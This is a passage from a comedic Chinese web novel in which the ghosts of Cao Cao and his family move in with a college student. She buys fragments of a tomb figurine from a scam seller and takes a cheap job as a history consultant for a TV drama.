她摆摆手,说:“我还是自己考吧……”考不过可以补考,慢慢练,跑死了可没法重来。 “吕思彤?你厉害呀,跑这么快?”一个有些熟悉的声音从公园外传来。 停在路边的一辆小车窗户里探出一个脑袋,在确定没认错人后打开车门下来,竟是学校的体育老师。 他说自己在这边等人,同城买了件东西,说好线下交易。 又问她怎么周日起这么早出来跑步,是不是看到了群里的通知临时抱佛脚,而且刚才那速度绝对是远超标准了。 “老师你看错了吧,我喘成这样能跑多快……我什么水平,你也知道呀。”吕思彤找借口想离开,却见一左一右站着的两位老祖正皱眉在讨论什么,他们的视线落在体育老师车辆后方。 侧后方的路边走来一个穿皮衣的年轻小伙,手边一个行李箱,没看出什么异常。 “没看错,我看着你在那边比划什么然后跑得飞快。”体育老师有些激动,也有些可惜,“啧,不过都上大学了再转田径也有点晚,也不是,你这速度稍微练练省队没问题。” “肯定是看错。”吕思彤没别的办法,只能嘴硬不承认。 一阵手机铃声打断了体育老师的疑惑,接起电话的时候听到声音来源很近,回头就看到了站在车侧后方的皮衣小伙。 “我等的人来了,下次课上再说吧。”见了那皮衣小伙,体育老师连忙就走,而且很不想让她知道相关事情。 吕思彤也没要打听的意思转身就要走,曹操却说:“且慢,那箱子里有东西。” 黑色的大行李箱,有东西? 吕思彤脊背一寒,咽了咽口水问:“尸、尸体?” 曹操:? 也不必等曹操解答疑惑,体育老师就和那皮衣小伙因为箱子的问题起了争执。 小伙说自己手受伤了,让体育老师帮忙把箱子先放后备箱,但老师在接过去的时候好像被什么东西刺到了下意识松手,行李箱就摔在了地上。 那皮衣小伙将行李箱打开检查,里面是一堆陶土碎片。 体育老师说:“碎成这样,我肯定不要了。” 皮衣小伙说:“十几万的东西被你打碎,说不要就不要了?” 吕思彤好奇听了一会,却见两个老祖已经上前围观。此时天色亮了些许,晨练的老年人们也围了过来。 有人说弄坏了什么古董这么贵。 也有人说这是常见的碰瓷套路,里面是早就准备好了碎片,但真品也确实是真品,经得起坚定,就等冤大头。 体育老师见到学生不仅没走还在围观,脸上更是挂不住。 曹操盯了一会,又吩咐说:“问问这陶俑原本模样。” “……”吕思彤硬着头皮上前交涉。 “这陶俑原本什么样子啊?要是刚打碎的,至少碎片能拼凑个样子,要是胡乱的碎片碰瓷,就报警处理。” 边上围观的大爷说:“碎成这样都认得出是陶俑?” 皮衣小伙早有准备,掏出手机翻出照片展示一圈,说:“原本是这样,证书也都齐全,你要有拼起来的本事你拼试试。” 照片上的陶俑是标准的墓葬俑,是真人的一半大小,手里拿着一个梭子半侧身的模样。 吕思彤不说话,但被曹操推了一把。 他说:“此乃孤陪葬之物,买下来。” “?????????” 为祖负债 按照国家规定,属于年限范围外的古董是禁止交易的,如果时间再久远一些的,甚至不叫古董,而是叫文物,这类东西别说是交易,任何目的私自带出国都属于违法行为。 现在曹操亲自鉴定这个陶俑是高陵出品,汉魏时期的东西足够久远,往严重地说没准能判个死刑。 吕思彤深吸一口气,嘶,这谁敢买。 “你确定这是高陵出品?”吕思彤胆战心惊地问。 皮衣小伙以为是在问自己,干这一行的也有相关知识和敏锐度,笑着否认说:“那太久远了,不折腾。这就是个宋明时期的,正经收藏家出手的,合法合规。” 说着还把鉴定收藏证书翻出来,可谓是相当齐全,要问起来源都能说出个全面来,就是近代混战时期往外流失,反正不会说是挖出来的。 围观的群众闻言也纷纷都看向这个女生,吕思彤拿起手机假装是在打电话,找补道:“嗯嗯是的老板……图片就只有一张,你确定是高陵出品吗?” 体育老师拽着她胳膊走到一边,说:“你联系谁呢?” “我……我找了份实习工作,在联系单位老板呢”吕思彤立刻编造说,“他是曹操……超级粉。” 曹操凑近那行李箱查看,神情平淡却带着些许惆怅,缓缓道:“此乃我原配夫人丁氏陶俑,离异后我命丁家为她找门亲事再嫁,丁家不敢。丁氏先亡于我,葬于城南。我大限将至时曾特意叮嘱工匠做了此俑同葬,倘若地下与子脩相见,至少也能答得上来。” 刚才图片上的陶俑姿态,正是手拿着梭子在织布的样子,曹操去求和的时候丁夫人一直没有回头,至死不肯原谅他害死了曹昂。而那个陶俑被特意制作成了半回头的姿势,寄托了曹操的遗憾和期望。 文物的价值不仅仅在于年份久远,所能考究的历史价值才是它的珍贵的原因。 如果真如曹操所言,这个陶俑是非常有研究价值的,它是一代枭雄铁血面下的另一模样,将那些冰冷的文字具象化。 历史的魅力不在杀伐和功名,是在爱、恨、情、仇、恩、怨掺杂在一起而塑造出一个个有血有肉的人。 “父亲,与母亲离异了?”然而一旁听到说离异两个字的曹昂却没有被父亲苦恼伤感的样子所感染,而是黯然伤神愣在原地。 曹操沉默,一时伤感而叹息,竟忘记了这事子脩还不知道。 他面子上有些挂不住,此事也确实亏欠诸多,撇过头说:“此乃孤不可忘之事,于妻于子,都是极大的亏欠。” 英俊挺拔的年轻将军死于乱箭都不曾喊痛,此时却忍不住双眼含泪,抹去眼泪时将脸上的血迹也混作血污。 即便如此也没有怪父亲的失责,只是单膝跪地抱拳道:“是孩儿未能退敌回师的过错,叫母亲挂念,导致父母分别生了嫌隙。皆是孩儿之错,父亲无需介怀。” 这是曹操曾经最上心的孩儿,也是死于忠孝两全的武将。 原本面色严肃的曹老头,听到曹昂这样的话更是羞愧,将曹昂搀扶起来,说:“子脩吾儿,子脩吾儿……既然有汝母陶俑在,兴许还有团圆之机。” 盯着两人上演父子情深,吕思彤一直没说话,心里也有些触动,这本就是曹操临死都还牵挂着的事情,是他为错误所付出的代价,子亡、妻离。 倒是体育老师有些着急,这一堆碎片他肯定是不会要的,哪怕赔偿责任一半也得掏个几万。 听吕同学的意思,好像她的实习单位老板对这些碎片感兴趣,那自然是最好。 于是催促问:“你老板怎么说?” 吕思彤看向曹操,继续装作打电话,问:“现在怎么说?” 曹操皱眉,沉思道:“你将此俑买下,孤封你做吴郡太守。” 吴郡相当于现在的江浙一带,吴郡太守则相当于两省之长,这事先不管实际如何,也不管孙权同不同意,反正江苏肯定有十三票不同意。 吕思彤尬住了,说:“曹总,不是我不帮你,我没钱啊。”要是几十几百也就买了,这是几万呐…… 只恨财力不足! 闻言,曹昂双手抱拳,慎重道:“只要小友愿意帮忙,昂赴汤蹈火在所不辞,今后随叫随到。”辈分直接咔咔咔降到平级,可见诚意。 甚至说着竟一整战袍,有要下拜之意。 “别别别别别。”吕思彤快速后退几步,在体育老师、皮衣小伙还有围观群众的疑惑视线下,她一咬牙,道,“我们老板要想买下这些碎片,多少钱。” 皮衣小伙心里乐开了花,本来只是指望碰瓷赚个本钱,没想到真遇到个想买的,那么开的价格不能太高也不能太低。 “这样,你要是诚心买,我们找个地方坐下慢慢聊,你也懂的。” 不懂,真的完全不懂。 但是有懂的人呀。 吕思彤犹豫了一下,翻找到馆长的好友聊天窗,消息只停留在添加好友后的默认打招呼。 吕思彤打了个语音电话过去,过了十几秒对方接通了电话。 “哦小同志,是你呀,是又有什么想要上交的东西吗?”馆长一个老男人,声音莫名夹子,听着就能感受到他眉开眼笑的表情。 “嗯是这样的……”吕思彤将遇到疑似碰瓷的人,还有大概率高陵出土的陶俑说了下,然后说到借钱。 对方挂断了电话。 吕思彤:“……” 刚想嘀咕两句,馆长以文字的形式发来了消息,让她先确定身边没有其他人,远离那个古董贩子再打语音过去。 吕思彤走远了一些距离,再次拨通了语音电话。 馆长语调变得严肃起来,说:“你对咱们国家的陵墓情况应该也有些了解,很多陵墓在进行正式保护前,盗墓行为是常有发生的。尤其近代,很多历史名人的陵墓遭到盗窃。像曹操这种以前时代就很受争议的人,陵墓破损程度是比别人更严重的。我可以非常肯定地说,所有高陵盗窃出去的文物都不可能有证书。” “对方伪造证书?” “证书应该是真,但鉴定的东西不是这个,通常是允许收藏范围内的陶器。然后用这张证书,将破碎的文物讹诈钱。” 古董赔偿是很难认定的,就算是个清朝的农家乐审美大花瓶,专家鉴定一百万,但拍卖会卖了一千万,那么它的价值就是一千万,损坏者不肯照价赔偿,损失者不肯标价受赔偿,最后基本就是对半赔。 而且,馆长并不认为一个年轻学生能够凭一张照片和碎片准确地鉴定出年份和归属,就算是专家团队也得先修补复原再进行鉴定,少说半个月时间。 因此对于这次的求助,馆长只当做是无知学生被骗了,劝她报警处理。 曹操很是生气,道:“此官吏对孤遗失在外的陪葬品如此不负责!该贬去官职,让你去当!” 好的,现在已经是吴郡太守兼高陵馆长了。 就当是为了不辜负魏王的信任,吕太守琢磨了一下用词,对馆长说:“我是想着毕竟是魏武帝曹操的陪葬品,肯定物归原主比较好。那没办法的话,我去问问苏博的馆长,就近鉴定也方便。” 曹操陵墓当年被否认,被怀疑造假就是在苏州召开的会议上,虽然否认的学者未必是苏州专家,冲突总归是发生在苏州。要不是安阳当地坚持挖掘考古验证了骸骨,曹操整个陵墓都成了“赝品”。 再者各地博物馆之间再良性竞争,那也是竞争,自家的好东西被展出到别人的博物馆里,那可太丢人了。 “等下,我考虑考虑。”馆长沉思许久,考虑到这位女生有上交真品的先例,本身书法也颇有造诣,书香门第应该不至于骗钱,但也不至于缺几万块钱呀。 过了一会,馆长发来了对破碎陶俑的估价,并且附带了转账和一些讨价还价的专业话术。 吕思彤最终以三万元的价格买下这一堆陶俑碎片,体育老师得了机会便要走,嘱托一声千万保密他找人买古董的事情,也顺便谢谢她实习公司的老板,以及以后的考试都放心,肯定罩着。 暂时没时间把东西送安阳,只好带回了家。 曹操看着一堆碎片很是痛心,坚持要和曹昂一起把这俑拼好。 忙活了一整天,拼装毫无进展,便迁怒于馆长失职。 当天夜里,高陵馆长做了个噩梦,遭到了曹操的痛骂,说什么罢免之类的,要让那个懂事的学生来当。 馆长有些迷茫,问:包老师,您怎么长得和电视上不一样? 曹操也是一脸懵,什么意思。 在馆长的解释下,曹操更恼火了,抽剑甚至想砍人。只有小辈像不像长辈的,哪有曹操当事人要被说不像后世艺人的?? 第二天醒来立刻给吕思彤发消息。 [你这两天有空把东西送过来吗?随时可以开始鉴定工作。] [不不算了,我带团队过去。] [可千万别透露消息给其他任何博物馆!] 过了一会没收到回复,又补充说。 [以后不用叫我馆长这么正式,叫我老高就行。] 为祖负债 大清早,吕思彤正准备回高馆长的信息时,就瞥见自己摆在书房里的上交证书在发光,紧接着四位老祖都出现在了眼前。 以为是来询问陶俑进度的,吕思彤便把高馆长那边的情况汇报一声,鉴定团队已经出发,估计今天下午就能到,正询问她碰头地点。 “小吕做事稳妥,甚好。”曹操对此表示赞赏。 “曹总谬赞了。” 也趁着这么一会,把称呼给老祖们按照后世习惯给纠正了一下,老祖们称呼她叫小吕,她称曹操和袁绍为x总。就是偏低一辈的曹昂和曹冲不知道怎么称呼,小曹总小小曹总?将来如果再遇到曹丕曹植曹真曹彰等可排不过序来。 曹操大手一挥,让小吕和两个孩子以同辈论。 撇开时间差距以同辈算的话,那么曹昂定格在20岁,曹冲定格在13岁,她今年21岁,是不是还得叫她一声姐? “真的可以吗?”吕思彤苍蝇搓手,得寸进尺地提要求说,“那能不能一手握拳放在脸颊模仿猫爪,然后对我说,‘姐姐、姐姐,昂儿/冲儿可爱吗’?” 曹昂和曹冲想象了一下那个画面,两人冷脸选择了称呼:“小吕。” 行行行,老祖先就是客气一下,哪能真允许乱了千年的辈分。干脆就各论各的,他们叫小吕,她怎么称呼方便就怎么称呼。 吕思彤将没能拼起来的陶俑重新装回了行李箱中,考虑再三肯定不想把住址给陌生人知晓,嗯……虽然这个陌生人借了她三万元,那就,更不能让他知道了! 干脆发了学校的定位给高馆长,就选在下午三点放学后的校门口,交接了东西就各忙各的,也不耽误谁时间。 吕思彤看了眼时间也该出门了,今天周一,上午还有课。 走时随口问了一声老祖们为何今天都过来,甚至把袁绍也带过来了。 老祖们都是第一次当鬼,很多能力还在摸索,目前家中这枚五铢钱是属于曹操的,所以曹操可以来去自由。 而其他人想要来到这枚五铢钱的位置,除非由曹操一起带着过来,否则是无法过来的。 嗯……明白,有权限的传送点。 袁绍叹一声说:“所以,希望你能取一件我陵中的东西带回来,先前那漆器既然献了出去也不好要回,你再去趟沧州。” 曹昂和曹冲也是这个意思。 “……”吕思彤瞬间冷汗直流。 诶不是,你们有考虑过我的死活吗?一经发现盗墓行为,之前上交的那就叫前科,这就不是坐牢能解决的了,得吃花生米。 “花生米是何物?”汉时花生还没传入中原。 吕思彤简单给老祖们解释了一下现代武器,花生米是一个代称,就是死刑的意思。 曹操很好奇那般便捷的现代武器,可有制作办法,能不能搞一把来试试? “……”好家伙,是嫌她死的不够快还是不够惨? 吕思彤努力解释,道:“现在和你们那会一样,私藏器械都是大罪。” “哦。”这么一说老祖们就明白了。 袁绍被拒绝后很不高兴,以后过来都得借他曹阿瞒的五铢钱,和寄人篱下有什么区别? 琢磨一会又说:“若不愿再去沧州,你把献上去的漆碗要回来。” “这哪有要回来的道理!” 于是,袁绍等人就借着没有专属传送点的话题,表示要暂住在这,等她什么时候去弄个专属文物来再走。 主要原因是目前为止还没其他人能看见他们且沟通,而他们当务之急是了解后世基础知识,诸多事情都少不得这位小辈解说。 “啊??”吕思彤下意识是拒绝的。 想到自己常年在网上发癫的口嗨言论,已经汗流浃背。 [大小姐好可爱,想炒哭大小姐!] [红衣阿瞒贴贴!] [哇靠战损子脩,舔舔舔!] [冲儿小可爱妈咪爱你!] 这特么以后还怎么发癫! “不行。”吕思彤一本正经地拒绝,正气凌然得像是要匡扶汉室,“我一个小辈,岂能和老祖们同在一个屋檐下。” 曹操笑了笑说:“小吕不会以为,孤是在征求意见吧?” 看看,看看,玩权术的人就是这样,上一秒能自降身份给你一种自己很重要不可或缺的错觉,好乖乖为其卖命。一旦不听命令违背了他们的利益,立刻翻脸。 嗯,OK,好的没问题,你们决定好了,是通知我。 吕思笑两声说:“适才相戏耳……倘若有什么不习惯,有什么缺的直管和我说。”。 眼看时间不早,吕思彤从书房里翻了本《华夏五千年》青少年速读版,简体字连蒙带猜能读懂多少全靠老祖们的悟性了。 说:“这里有华夏从古至今的概括,你们先把这个了解一下,其他需要的书籍我也给你们找找。” 又考虑到一部分简繁字体差异较大,可能老祖们在家研究一会就觉得太麻烦不看了。为了防止他们太无聊玩电玩水玩火,干脆打开电视机给他们播放《三国演义》,告诉他们有什么事情等她回家再说。 这里面的人都是假的,假的,假的!千万别一时上头砍了电视机。 琢磨着差不多一小时一集,放学回家时估计才看到吕布杀董卓那一集。 交代完了注意事项,水龙头插座煤气灶别乱碰,吕思彤提心吊胆地出门了。 曹操让曹昂和曹冲同往,看看后世的大学是怎样的。 汉时也有大学,大为广大博学之意,入学条件极高,仅仅京城设有一所,称太学。汉灵帝时在鸿都门设学,故而也称鸿都门学。 向来乖巧的曹冲竟十分抗拒,脸上的火罐印还隐约有些痕迹,道:“父亲!冲儿要伴在父亲身边!” 于是便只剩曹昂同往。 刚出家门走进电梯,没了两位老头的威严压迫感,吕思彤就小眼神乱飘,悄悄苍蝇搓手。 咦嘻嘻嘻!现在没两个有压迫感的老头盯着了! 战死的年轻将军脸上仍旧有着血痕,听曹昂说这些血迹就算擦干净了,子时一过也仍旧会恢复成战死前的状态。 曹昂随意用袖子抹了抹,血迹反而模糊开,脸上脏了一片。 吕思彤掏了张纸巾,说:“我帮你舔干净。”一愣连忙纠正,“我是说!!我帮你擦干净!!我是个正经人不要误会!!绝对不是变态!!” “……”没听懂变态的意思,但也已经被刚才那句口误给吓到,隐约想起冲儿脸上的火罐印,突然怀疑起来那真的是火罐吗。 在这狭小空间里也没别人,曹昂后退了一步,说:“不必了,多谢。” 随后像是有所顾忌,又夺过纸巾仔细擦干净了,而那无耻小辈居然很是失望地叹息了一声! “……”曹昂突然就明白为什么曹冲要留在父亲身边了。 来到学校,曹昂被所见惊到,大学之大,远远超出了想象范围,比起鸿都门学大了不止十倍百倍,整个学校几千人,仍旧井然有序,学生们行走在阳光下,氛围轻快地讨论着课程内容。 汉时虽说世族大家的姑娘也会自小读书学文,比如父亲的好友蔡琰蔡文姬便是当时的知名才女,但即便蔡琰之父为大儒蔡邕,也仍旧未能入鸿都门学深造,在这后世大学里,却有近一半和小吕一样的姑娘。 班级的人数在三十多,比鸿都门学还要再少些,然而老师却有十几个。 小吕能上比鸿都门学还厉害的大学,还敢说自己是贫民百姓? 班里知道吕思彤旅游回来,几人凑过来阴阳怪气地说:“跑去曹操面前纠错啦?这么有才华,不得给你个官当当?” 吕思彤记得这几人针对自己是从一次闲聊开始,他们在自习课上侃侃而谈某个战役,却记错了主将记反了事件,她出于历史严谨纠正了一下却被误会故意打脸,从此多了个装比犯的称呼。 吕思彤不生气,还点点头笑起来,说:“是啊,曹操封我做吴郡太守懂吧,咱们这地方就是吴郡的一部分,你能给本太守磕一个吗?” “……” 此时高馆长打来电话,坐了半天的高铁过来,也已经在联系当地博物馆借场地进行鉴定工作,再次确认时间地点。 吕太守干脆摆烂,说她装,那就装起来呗,不能白挨骂了不是? 吕太守往后一靠,一手支在后面的课桌上,说:“哟,小高啊,找我有什么事吗?” 为祖负债 装比的时候很酷,道歉的时候很狼狈。 吕思彤出去接电话,走到走廊尽头后连连给高馆长道歉,说:“抱歉抱歉,刚才和同学开玩笑呢。” “……”高馆长语塞也不计较这些,声音还带着些许喜悦,说,“你说这也挺玄乎的,我们考古人诶呀也不能叫迷信,反正挺神奇的。昨天刚借你钱买下那个陶俑,晚上就梦到曹操了,我觉得没准,是真品。” “放心,肯定保真。”吕思彤看了下课表,下午只有一节课,三点钟准时赴约是没问题的。 放学后在校门口等了一会,远远看见一辆黑色商务车停靠在路边。 车窗降下来的时候露出一个四五十岁留着七分头、穿着西装的中年男人,像是在寻找什么。 “老高,这边!” 见到吕思彤招手,高馆长下车走过来帮忙提行李箱,放到后备箱后先打开看了看,根据一些纹路和陶土的破碎氧化程度初步判定年代在唐之前。 就算不是高陵的东西,至少也能确定是个颇有年代的陪葬人俑。 高馆长舒了口气,笑着说:“场地我已经联系好了,您要是方便的话,跟我们一起吃个晚饭吧,还有苏馆长和几个她那边的朋友。” 在确定了东西的年代后,态度更是优化又优化。 在向苏博借鉴定场地的时候还给苏馆长给笑话了一阵,无知学生开的玩笑也信,好歹是个年近半百的人了,简直给考古人丢脸。 高陵的馆长巧合姓高,那么苏博的馆长巧合姓苏很合理吧?非常合理! 这顿晚饭原本是没吕思彤的份的,就是两地团队作为同行,大家寻常吃顿饭。现在不同了,这学生如果真有能轻易鉴定的本事,绝对是要早点拉拢培养的。 “我就不去了。”吕思彤拒绝了,看了看在边上盯着的曹昂,主要还是担心家里面的三位老祖出幺蛾子。 “那行,等鉴定结果出来了,我再联系你。” 与高馆长道别,吕思彤带着曹昂回家去。 这一趟出来曹昂看到了后世的很多东西,有了许多新的认知,回家途中都在脑海里整理这些,一会方便汇报给父亲听。 一到家,她还在门口脱鞋,曹昂已经在给曹操汇报。 曹昂说:“后世的汽车极为方便,速度比马车快许多还安全,今后无论是要去哪都十分便利,孩儿觉得此物乃是不可或缺。” 曹操说:“嗯,那就让小吕弄一辆来。” 吕思彤:“……” 子脩啊子脩!你去大学学习了一天,什么好东西不学,尽学这些肮脏的充满了臭钱气味的东西!我……我去哪里弄!!三个轮的行不行? 吕思彤换好拖鞋走到客厅准备给老祖们解释一下,这个东西不是说买就能买的,买了也不是能立刻用的,还需要考证。 但是,话还没出口,就觉得有些缺氧。 “我的电视机!!!!!” 出门前千叮咛万嘱咐不要对电视机下毒手,他们还是动手了! 背景墙上更是好几道剑痕,放在茶几上的简体《华夏五千年》更是成了一堆碎片,地面乱糟糟全是纸片。 确认电闸已经自动跳闸,还是特意再把总闸也拉下来,然后才上前查看电视机。 “它犯了什么罪?”吕思彤抱头叹气,“我特要犯头风病了。” 曹操闻言,略有惊讶,道:“你小小年纪也有头风病?” 袁绍冷哼一声,说:“天道轮回,曹贼看见自家基业被司马家夺取,便砍了那物泄愤。” 按照一集一小时左右,怎么会看得这么快?这都尾声了! 小神童曹冲将沙发上的遥控器拿起来解释说:“我见你是使用此物控制画面,便也试了试,跳过了诸多其他人的部分。” 好啊,神童!太神了!真特么神! “……”吕思彤痛苦抱头看了看被劈成两半的电视机,再看看曹操腰间的那把剑。能砍到电视机,就肯定也能砍她,这谁敢责问啊! “此物之神奇你们也见识过了,砍坏了乃是天大的损失!!”吕思彤憋着一股气说,“为了防止曹总袁总再控制不住脾气,你们的剑能不能先交给我保管?” 这事确实是曹操理亏,关键没想到这野史如此气人!更气人的是,曹冲在翻阅那本简体史书后,得出一个结论,不是野史,真的被司马家篡了,为晋朝。 而晋朝又发生了一系列祸乱,最终导致以前被吊打的那些胡人骑在了汉家头上,甚至把人称为羊吃。 于是那本书被碎尸万段。 砍电视机的事袁绍没参与,砍书的事情参与了,两人只好将佩剑都交出来,吕思彤随手收在了书房的一堆杂物箱上,反正也没人能看见。 之后就该处理电视机和墙面的问题,关键这事肯定不能和爸妈说,吕思彤看了看自己每年寒暑假打工存放的小金库,由于打游戏氪金和购买三国衍生品等原因,所剩不多。 肯定不能问亲戚借,不出10分钟肯定爸妈就全知道了。 也不能再问馆长借,搞得像持续诈骗。 思前想后,联系到了体育老师,拍了几张电视机惨状的图片过去。 老师震惊,问[遇到强盗了?报警没?] 吕思彤咬牙切齿地回复: [不是的,是我梦游导致的。] 毕竟帮忙解围了之前的碰瓷,体育老师说放心小意思,背景墙帮她联系个水电工搞定,买电视机的钱可以先借她。 顺便还推荐了一个精神科专家,专门治疗梦游的。 吕思彤还得谢谢人家,随后问道: [老师你知道一个人如果精通某段历史文化,擅长不同的书法,写得还都挺好,有合适的工作吗?] [你不是找到实习工作了吗,因为买到假货被开除了?] [是我的一个朋友在找兼职。] [哦……哪段历史?] [东汉末年吧。] 过了一会,体育老师推了个名片过来,说这人是他小学同学,现在是某网剧剧组副导演,题材是三国言情,讲述了曹操和丁夫人和离后,丁夫人被魂穿开启破镜重圆的故事,现在想要找个便宜点的历史顾问。 还附带一张朋友圈的兼职截图,中文系历史专业大学生优先。 玛德,把我们大学生当廉价劳动力! 太可恶了,添加好友。 然而简单聊了几句,对方一听她是计算机系的,回了句瞎凑什么热闹就没了动静。 虽然吕思彤是个历史爱好者,但当年填志愿时流行赛博扫墓话题,为了给历史人物们亲手编写个上坟APP,毅然选择了计算机系。 世事无常,不到半年赛博扫墓的话题直接凉了。 老祖们感觉到小吕的心情非常不好,想了想那个名叫电视机的东西也确实神奇,恐怕是个天价。 又反思起作为老祖先是不是太仗着身份欺负人了,小吕也不敢有什么怨言,千年前的老祖们竟给后世的小辈添麻烦,着实没个长辈的样子。 吕思彤观察到几位老祖脸上的愧疚之色,趁机给他们解释了一下现代的金钱概念,以及反复强调,她真的不是什么权贵之家,没有俸禄也没有租子可以收,更糟糕的是她连农民都不是,一旦没了钱,是要饿死的! “非士非农非工非商,那该如何得钱?” 吕思彤叹气说:“现在有份临时的工作能赚一点小钱,但人家嫌弃我不懂汉朝,对曹操也肯定不了解。” 曹操无语,说:“这等事情,你可以问孤。” 于是,吕思彤翻开那位副导演的朋友圈,把所有剧有关的信息都念出来,让老祖们一条条分析来。 在分析到第五条的时候,副导演主动发来了消息。 [一天300,支持远程顾问,及时回复消息就行,但需要先线下面试,以免是拿着钱百度回答的。] [地址定位信息] 距离倒也不算远,就在本市,但是另一个辖区。 [好的,我明天过去。]只能请假一天了。 修补墙壁的水电工也已经联系好时间,新的电视机也下好了单。 第二天早上,曹操和袁绍跟着吕思彤出门去参加面试,也趁此机会多看看后世的情况,家里留了曹昂和曹冲,还是比较放心的。还把淘汰的老手机切换繁体交给曹冲研究,反正没联网没话费,随便他倒腾。 等车的时候看见对面街道停了一辆押运车,两个持械的武装人员站着。他们手里的东西实在没见过,曹操便问是何物,那里又是什么地方。 吕思彤说:“那边是银行,相当于小地方的国库吧。” 曹操认真思索一会,道:“孤年少时曾为游侠,也曾做过劫富济贫的事情,如今既然急于用钱……孤去取些来,也无人知晓是谁,待将来有了钱再还回去便是了。”说得轻轻松松,好像一件微不足道的事情。 袁绍也点头认同,说:“的确,我等不能为常人所见,倒可随意取用,留下字条按时归还,也算美谈。” 啊???还美谈?? 说好的世家子弟十分有道德呢!!怎么两个老头子一把年纪倒又想起当游侠了!! 生怕多看一眼街对面就要吃花生米,一咬牙干脆不等车了,花血本直接打车去。 没多久一辆白色的网约车就停靠路边,只是车身上有两个字。 曹操面露喜色,问:“此车为何写的孤的名字?是小吕准备献给孤的?” 吕思彤看了眼打车软件,曹操嘀车。 打工赚钱 带着曹操和袁绍坐上了写着“曹操”二字的网约车,曹操心情格外不错。 陵墓这东西哪个英雄豪杰帝王诸侯没有?后世祭奠那是纯粹出于对长辈的尊重对吧?但把名字给些在通行工具上,让每一个路过的人都看到,这一定是出于对他曹孟德发自真心的喜爱! 生前如何,不就是为一个名垂青史被后人常常挂念?他做到了! 相比之下袁绍就绷着个脸,当年打仗输给曹阿瞒、陵墓的保护上也远不及,坐的出行工具还挂着他曹操的名字,当真是可气也! 曹操得意道:“小吕,你给本初解释解释,为何后世要将孤的名字写在上面?” 吕思彤拿起手机假装打电话,说:“嗯……因为有个典故,说曹操曹操到,形容速度快,出行就是图个便捷,所以写上去了。” “好像也算不得多喜爱。”袁绍阴阳怪气地说。 曹操不满,又问:“典故具体是什么?如何来的这句话?” “……”这把吕思彤给问住了,既然答不上来,那就编吧,“嗯,是这样的,当初汉献帝刘协被李傕郭汜等控制,发了很多求助的诏书出去,但只有曹操很快地响应了……相当于提到了曹操,曹操就到了。” “嗯。”曹操平静应下,逐渐有些回忆当年,叹一声说,“那时孤与本初共同起兵抗董,诸侯异心谋取私利而置天下不顾,待孤逢迎天子都许,本初则以孤为贼。” 袁绍一听他这开头就知道后面没有好话,气得想跳车,但被曹操拽住了,一副胜利者嘴脸不许拒绝的样子,魏王哪还是当年的小弟曹阿瞒呢。 气氛莫名剑拔弩张,此时司机却出声反驳了吕思彤。 司机说:“大学生懂的就是多,不过这典故你说错了。是当时曹操被吕布追杀差点活捉,但天黑看不清,吕布逮住曹操问曹操在哪里,曹操狡猾就说前面骑黄马的是,所以说曹操,曹操已经到了。” 曹操:“……” 袁绍顿觉心情舒坦,也没了跳车的打算,也做出一副回忆往事的表情。 “当年阿瞒进攻下邳,多次被吕布击退,若非我相助围城,岂有他现在的威风?” 两人互相看不顺眼,都扭过头去不再出声。 毕竟一会还要两位老祖帮忙,这会闹脾气,到了面试现场罢工怎么办? 吕思彤开始琢磨用词,说:“二位自小相识,那简直是竹马竹马,后来不过是立场不同才要分个胜负。就算咱们现在有嘲笑有玩梗,也改变不了都是英雄豪杰的事实,像吕布那种才是当年被嘲如今也被嘲,只有隔壁小日子把他当英雄。” 两位老祖本来就是想放下仇恨好好了解后世的心态,只是提到当年忍不住起了情绪,此时有台阶自然就下,就随意转移了个话题。 曹操笑了笑说:“说来小吕也是姓吕,莫非是吕布之后?” 你没事吧?? 袁绍嗤笑一声,说:“没准是吕伯奢的吕。” 曹操怒视,说好的下台阶,怎么又揭黑历史。 吕思彤无语,诶不是,你们有病吧??非要拉无辜的后辈下水是吗,好好好,那我就超级加辈! “实不相瞒,是吕雉的吕。”大汉开国皇帝刘邦都畏惧三分的辣个女人! “……” 大概45分钟后,到了目的地,一栋几十层高的写字楼。 按照对方给的地址找上去,前台接待员也是一个兼职大学生,整个办公区域都透露着一股随时跑路的皮包公司感觉。 在会议室等了一会,副导演就过来了,看到是个年轻女生更觉得是被戏耍,但还是沉着气进行一些简单的问答。 岂料对方只是稍微思考就一一答了上来,因是兼职顾问,又是便宜好用的大学生,没有什么问题的话就签个临时合同,工资日结。 吕思彤对剧方的剧情没有什么想问的,后世雷的东西可太多了,这网剧魔改其实还在常规范围里,只是好奇都魔改了,为什么还要请历史顾问? 副导演也懒得编理由,说:“没办法,上面有这个要求,反正就是需要你应付应付。” 正儿八经请个历史顾问,不仅价格贵,话语权还高,不仅对编剧道具师多有不满,大概率在台里还有人脉,小网剧得罪不起。 大学生好欺负啊,有用的时候问一两句,说的话就是空气,不听就不听,剧开播了被喷还能背黑锅,300一天简直太值了!甚至早知道她答应那么干脆,只开200一天估计也能够。 刚把合同签好,副导演接到了个电话,竟是脸色一白,看了眼吕思彤后眉头紧皱,说:“没办法了,死马当活马医了。” 由于近年魔改剧太多,关于历史剧的条件是一年比一年严格,原本还只是必须要有历史顾问,现在来了个突袭检查。 总导演让现在就把顾问带片场去。 片场就在同一栋楼,租借了天花板较高的某一层布置搭建内景,几乎全程拍摄都在室内。 副导演满头冷汗地拉着吕思彤往片场去,看见已经有几个穿着差不多制服挂着蓝带子胸牌的人在,导演正和他们吹牛,编剧一本正经地解说着自己的剧情。 “来了来了,顾问带来了。”副导演一开口就提前甩锅,说,“这人非说自己很专业,正好帮忙鉴定鉴定,要是哪错了我立刻让她滚蛋。” 吕思彤:? 廉价又卑微还受窝囊气的大学生一枚吖~ 曹操怒视吕思彤,道:“吕太守安能受如此羞辱?还要孤替你出头不成?” 吕思彤小声哔哔:“人家给我钱,我们打工人就是这样的……” 就连袁绍都看不下去了,鄙夷道:“你竟是受嗟来之食的鼠辈。” 曹操打配合,说:“呵呵,江东果然多鼠辈。” 诶不是你们有病吧,骂孙权就直接骂,怎么还搞地域歧视!! 此时总导演脸色严肃,将副导演拉到一边,说:“你怎么真随便拉了个大学生来,我跟你讲,这回是摊上事了。那边那个是我高中同学,情敌!这回特意找了个专家有备而来的,就是想把咱们这剧直接咔嚓了。” 副导演抹了抹冷汗,故作淡定地说:“备案都通过了,不至于吧……” 那边的工作人员正在打视频电话,态度很是恭敬,说:“诶是的是的,麻烦您一会,实在是不好意思,主要您也知道,现在市场上魔改剧太多,太不尊重历史和历史人物了。” 视频那边的人带着防尘口罩和手套,背景是一个较为亮堂的室内,说:“你发给我的剧情大概我看过了,我最近正有一些新发现。其实这么改编不是不行,啊,逻辑到位就不算雷,算是观众们的一种愿景,啊,对吧。” 